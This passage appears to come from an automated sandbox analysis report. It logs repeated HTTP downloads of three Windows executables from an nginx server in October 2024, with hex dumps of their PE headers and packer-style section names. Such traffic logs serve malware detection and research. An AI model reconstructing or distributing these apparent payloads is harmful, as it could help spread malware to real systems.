00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:38 GMTContent-Type: application/octet-streamContent-Length: 1908224Last-Modified: Mon, 21 Oct 2024 08:30:16 GMTConnection: keep-aliveETag: "67161118-1d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 d5 85 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 91 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 91 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 76 77 64 79 69 6b 6b 00 10 1a 00 00 90 31 00 00 02 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 67 71 6b 64 66 77 00 10 00 00 00 a0 4b 00 00 06 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:53 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:55 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Mon, 21 Oct 2024 07:51:53 GMTConnection: keep-aliveETag: "67160819-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 10 08 16 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 6b 44 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d0 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:55 GMTContent-Type: application/octet-streamContent-Length: 1908224Last-Modified: Mon, 21 Oct 2024 08:30:16 GMTConnection: keep-aliveETag: "67161118-1d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 d5 85 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 91 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 91 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 76 77 64 79 69 6b 6b 00 10 1a 00 00 90 31 00 00 02 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 67 71 6b 64 66 77 00 10 00 00 00 a0 4b 00 00 06 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:57 GMTContent-Type: application/octet-streamContent-Length: 1887232Last-Modified: Mon, 21 Oct 2024 08:30:09 GMTConnection: keep-aliveETag: "67161111-1ccc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6e 74 70 7a 72 6f 00 70 1a 00 00 b0 50 00 00 6a 1a 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 72 6f 65 62 6a 65 00 10 00 00 00 20 6b 00 00 04 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6b 00 00 22 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:47:58 GMTContent-Type: application/octet-streamContent-Length: 1908224Last-Modified: Mon, 21 Oct 2024 08:30:16 GMTConnection: keep-aliveETag: "67161118-1d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4b 00 00 04 00 00 d5 85 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 91 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 91 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 76 77 64 79 69 6b 6b 00 10 1a 00 00 90 31 00 00 02 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 77 67 71 6b 64 66 77 00 10 00 00 00 a0 4b 00 00 06 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4b 00 00 22 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 21 Oct 2024 08:48:00 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Mon, 21 Oct 2024 07:51:53 GMTConnection: keep-aliveETag: "67160819-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 10 08 16 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 6b 44 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 